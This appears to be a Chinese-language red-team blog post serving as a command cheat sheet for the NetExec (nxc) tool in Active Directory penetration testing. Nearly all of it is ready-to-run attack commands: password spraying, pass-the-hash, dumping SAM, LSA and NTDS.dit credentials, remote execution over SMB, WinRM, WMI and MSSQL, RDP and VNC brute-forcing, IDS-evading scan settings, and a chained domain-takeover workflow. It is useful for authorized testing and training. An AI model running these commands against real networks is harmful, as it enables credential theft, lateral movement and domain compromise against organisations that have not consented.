// 红队渗透 · 2025-01-22

【PTK】域渗透神器 NetExec (nxc) 使用指北

1. 引言:从CrackMapExec到NetExec的演进

NetExec(简称nxc)是CrackMapExec(CME)的活跃分支与继任者。在CME因维护者mpgn退休而停止更新后,NetExec继承了其核心设计理念,并在性能优化、协议扩展和模块丰富度上实现了全面超越。

作为一款专注于Windows/Active Directory环境的网络服务利用工具,NetExec的核心价值在于将渗透测试中“凭据验证→信息枚举→横向移动”的完整链条整合在单一工具中。它支持SMB、LDAP、WinRM、SSH、MSSQL等10余种主流协议,能够通过明文密码、NTLM哈希、Kerberos票据等多种方式进行认证,并内置了丰富的枚举与执行模块。

与CrackMapExec相比,NetExec在大规模认证测试场景下表现出显著优势——优化的线程模型和并行执行机制使其能够以更高效率处理数百台主机的并发扫描任务。

本文档将以协议为维度,系统性地梳理NetExec的命令结构与核心模块用法,作为安全评估工作的速查手册。

2. 安装与基础语法

2.1 安装方式

Kali Linux(预装):

# 验证安装
nxc --version
# Kali中命令为nxc,部分环境使用netexec

从源码安装(推荐获取最新版本):

sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec

2.2 基础命令语法

nxc <协议> <目标> [选项]

目标指定方式:

# 单个IP
nxc smb 192.168.1.10

# CIDR网段
nxc smb 192.168.1.0/24

# IP范围
nxc smb 192.168.1.10-50

# 从文件读取
nxc smb ~/targets.txt

# 组合方式
nxc smb DC01.corp.com 192.168.1.10-50 ~/targets.txt

2.3 全局参数一览

参数分类 选项 说明
通用 -t, --threads 并发线程数(默认100)
--timeout 单线程超时时间(秒)
--jitter 认证间隔随机延迟(秒)
--version 显示版本
输出 --verbose 详细输出
--debug 调试级别输出
--no-progress 不显示进度条
--log 导出结果到文件
DNS --dns-server 指定DNS服务器
--dns-tcp 使用TCP进行DNS查询
-6 强制IPv6

2.4 认证参数

参数 说明 示例
-u, --username 用户名(支持文件) -u administrator -u users.txt
-p, --password 密码(支持文件) -p Password123 -p passwords.txt
-H, --hash NTLM哈希 -H aad3b435...
-d, --domain 域名 -d corp.local
--local-auth 本地认证 --local-auth
-k, --kerberos Kerberos认证 -k
--aesKey Kerberos AES密钥 --aesKey KEY

3. SMB协议模块(核心模块)

SMB(Server Message Block)是NetExec最核心、功能最丰富的协议模块,用于Windows环境下的文件共享、权限枚举和远程执行。

3.1 基础认证测试

# 单用户单密码
nxc smb 192.168.1.10 -u administrator -p Password123

# 密码喷洒(单密码多用户)
nxc smb 192.168.1.0/24 -u users.txt -p 'Spring2024!'

# 哈希传递(Pass-the-Hash)
nxc smb 192.168.1.10 -u administrator -H aad3b435b51404eeaad3b435b51404ee

输出中(Pwn3d!)标记表示该用户具有管理员权限。

3.2 信息枚举

功能 命令 说明
共享枚举 --shares 列举可用共享及权限
用户枚举 --users 枚举域用户
组枚举 --groups 枚举域组及成员
计算机枚举 --computers 枚举域内计算机
登录会话 --sessions 枚举活动会话
磁盘枚举 --disks 枚举磁盘信息
接口枚举 --interfaces 枚举网络接口

3.3 凭证提取

功能 命令 适用权限
SAM数据库 --sam 本地管理员
LSA Secrets --lsa 本地管理员
NTDS.dit --ntds 域管理员
DPAPI --dpapi 管理员
LAPS密码 -M laps 域用户

3.4 远程命令执行

# 通过WMI执行CMD命令
nxc smb 192.168.1.10 -u admin -p pass -x "whoami /all"

# 通过WMI执行PowerShell
nxc smb 192.168.1.10 -u admin -p pass -X "Get-Process"

# 指定执行方法(smbexec/wmiexec/atexec/mmcexec)
nxc smb 192.168.1.10 -u admin -p pass -x "ipconfig" --exec-method smbexec

3.5 文件操作

操作 命令
列出目录 --ls C:\\Users
上传文件 --put-file local.txt \\\\remote\\C$\\remote.txt
下载文件 --get-file \\\\remote\\C$\\file.txt local.txt

3.6 实用模块

模块 功能 示例
spider_plus 递归搜索敏感文件 -M spider_plus -o SHARE=Users DEPTH=2
laps 读取LAPS密码 -M laps
gpp_password 解密GPP密码 -M gpp_password
enum_av 枚举杀毒软件 -M enum_av
veeam 检测Veeam凭证 -M veeam

3.7 SMB模块输出示例

SMB    192.168.1.10   445    DC01   [*] Windows Server 2019 (name:DC01) (domain:corp.local)
SMB    192.168.1.10   445    DC01   [+] corp.local\Administrator:Password123 (Pwn3d!)
SMB    192.168.1.10   445    DC01   [+] Enumerated shares
SMB    192.168.1.10   445    DC01   Share     Permissions   Remark
SMB    192.168.1.10   445    DC01   -----     -----------   ------
SMB    192.168.1.10   445    DC01   NETLOGON  READ          Logon server share
SMB    192.168.1.10   445    DC01   SYSVOL    READ          Logon server share

4. LDAP协议模块

LDAP模块用于查询Active Directory信息,是域环境信息收集的核心入口。

4.1 基础认证

# 域认证
nxc ldap 192.168.1.10 -u user -p pass -d corp.local

# 本地认证
nxc ldap 192.168.1.10 -u user -p pass --local-auth

4.2 信息枚举

功能 命令
用户枚举 --users
组枚举 --groups
计算机枚举 --computers
域信任 --trusts
获取域SID --get-sid
密码策略 --pass-pol
ACL读取 -M daclread

4.3 Bloodhound集成

# 收集Bloodhound数据
nxc ldap 192.168.1.10 -u user -p pass --bloodhound

# 指定收集方法
nxc ldap 192.168.1.10 -u user -p pass --bloodhound --collection All

5. WinRM协议模块

WinRM(Windows Remote Management)是Windows的远程管理服务,默认端口5985(HTTP)/5986(HTTPS)。

5.1 基础认证与执行

# 认证测试
nxc winrm 192.168.1.10 -u administrator -p Password123

# 命令执行
nxc winrm 192.168.1.10 -u admin -p pass -x "whoami"

# PowerShell执行
nxc winrm 192.168.1.10 -u admin -p pass -X "Get-Service"

# 哈希传递
nxc winrm 192.168.1.10 -u administrator -H aad3b435b514...

5.2 脚本执行

# 执行本地PowerShell脚本
nxc winrm 192.168.1.10 -u admin -p pass -e "C:\scripts\enum.ps1"

6. WMI协议模块

WMI(Windows Management Instrumentation)是Windows管理接口,通过RPC/DCOM实现远程访问。

6.1 基础用法

# 认证测试
nxc wmi 192.168.1.10 -u admin -p pass

# 命令执行
nxc wmi 192.168.1.10 -u admin -p pass -x "ipconfig"

# 哈希传递
nxc wmi 192.168.1.10 -u admin -H hash

6.2 WQL查询

# 自定义WQL查询
nxc wmi 192.168.1.10 -u admin -p pass --wmi "SELECT * FROM Win32_ComputerSystem"

6.3 可用模块

# 列出WMI模块
nxc wmi -L

# 使用模块
nxc wmi 192.168.1.10 -u admin -p pass -M rdp

7. SSH协议模块

SSH模块用于Linux/Unix系统的远程管理和命令执行。

7.1 基础用法

# 密码认证
nxc ssh 192.168.1.10 -u root -p password

# 密钥认证
nxc ssh 192.168.1.10 -u root -p key_file

# 命令执行
nxc ssh 192.168.1.10 -u root -p pass -x "id && hostname"

# 密码喷洒
nxc ssh 192.168.1.0/24 -u root -p passwords.txt

# 用户名枚举
nxc ssh 192.168.1.10 -u users.txt -p 'invalid' --check-users

8. RDP协议模块

RDP(Remote Desktop Protocol)模块用于远程桌面服务的安全检测。

8.1 基础用法

# 认证测试
nxc rdp 192.168.1.10 -u admin -p pass

# 暴力破解
nxc rdp 192.168.1.10 -u users.txt -p passwords.txt

# 屏幕截图
nxc rdp 192.168.1.10 -u admin -p pass --screenshot --screentime 10

9. MSSQL协议模块

MSSQL模块用于Microsoft SQL Server数据库的检测与利用。

9.1 基础用法

# 认证测试
nxc mssql 192.168.1.10 -u sa -p password

# 执行SQL查询
nxc mssql 192.168.1.10 -u sa -p pass --query "SELECT @@version"

# 启用xp_cmdshell
nxc mssql 192.168.1.10 -u sa -p pass --enable-xp-cmdshell

# 执行系统命令
nxc mssql 192.168.1.10 -u sa -p pass -x "whoami"

10. FTP协议模块

10.1 基础用法

# 匿名登录检测
nxc ftp 192.168.1.10 -u anonymous -p ''

# 列出目录
nxc ftp 192.168.1.10 -u user -p pass --ls

# 文件上传下载
nxc ftp 192.168.1.10 -u user -p pass --get-file remote.txt local.txt
nxc ftp 192.168.1.10 -u user -p pass --put-file local.txt remote.txt

11. VNC协议模块

11.1 基础用法

# 认证测试
nxc vnc 192.168.1.10 --no-bruteforce -u '' -p ''

# 暴力破解
nxc vnc 192.168.1.10 -u '' -p passwords.txt

12. NFS协议模块

12.1 基础用法

# 列举导出目录
nxc nfs 192.168.1.10 --show-exports

# 挂载并枚举文件
nxc nfs 192.168.1.10 --mount --shares

13. 高级技巧与最佳实践

13.1 性能调优

场景 推荐配置 说明
内网扫描 -t 100 --timeout 5 高并发,短超时
外网扫描 -t 30 --jitter 2 低并发,随机延迟
隐蔽扫描 -t 10 --jitter 5 --no-progress 避免触发IDS

13.2 凭据管理

# 使用凭据文件
nxc smb targets.txt -u users.txt -p passwords.txt --continue-on-success

# 用户-密码配对(user1:pass1, user2:pass2)
nxc smb targets.txt -u users.txt -p passwords.txt --no-bruteforce

13.3 组合命令示例

完整的域渗透流程:

# 1. 密码喷洒
nxc smb 192.168.1.0/24 -u users.txt -p 'Spring2024!' --continue-on-success

# 2. 收集有效凭据后枚举域信息
nxc ldap dc01.corp.local -u valid_user -p pass --bloodhound

# 3. 横向移动
nxc smb 192.168.1.0/24 -u valid_user -p pass -x "whoami"

# 4. 提取凭证
nxc smb dc01.corp.local -u administrator -H hash --ntds

13.4 输出过滤

# 仅显示成功结果
nxc smb targets.txt -u admin -p pass | grep '+'

# 导出JSON格式(配合jq处理)
nxc smb targets.txt -u admin -p pass --log results.json

13.5 注意事项

  1. 合法授权:仅在有明确书面授权的情况下使用,未经授权的扫描可能违反法律法规。
  2. 避免账户锁定:使用--jitter参数分散认证请求,防止触发账户锁定策略。
  3. 日志管理:测试结束后及时清理日志文件,避免敏感信息泄露。

14. 协议速查表

协议 默认端口 核心功能 典型场景
SMB 445 共享枚举、命令执行、哈希传递 Windows横向移动
LDAP 389/636 域信息查询、Bloodhound AD信息收集
WinRM 5985/5986 PowerShell远程执行 横向移动
WMI 135 信息查询、命令执行 远程管理
SSH 22 命令执行 Linux管理
RDP 3389 屏幕截图、登录测试 远程桌面检测
MSSQL 1433 SQL查询、命令执行 数据库安全评估
FTP 21 文件操作 匿名访问检测
VNC 5900 登录测试 远程桌面检测
NFS 2049 共享枚举 文件服务检测

15. 总结

NetExec作为CrackMapExec的继任者,在多协议支持、性能优化和模块丰富度上都实现了质的飞跃。其核心价值在于:

  1. 一体化渗透平台:从凭据验证、信息枚举到横向移动,完整覆盖攻击链
  2. 多协议统一接口:相同语法跨10余种协议,降低学习和使用成本
  3. 哈希/票据传递原生支持:无需额外配置即可使用NTLM哈希或Kerberos票据认证
  4. 高并发优化:大规模目标扫描时保持稳定高效

使用时应始终遵循合法授权原则,合理控制扫描参数以平衡效率与隐蔽性。完整文档请参考官方网站:https://www.netexec.wiki/

原文 https://blog.csdn.net/2301_79518550/article/details/145291436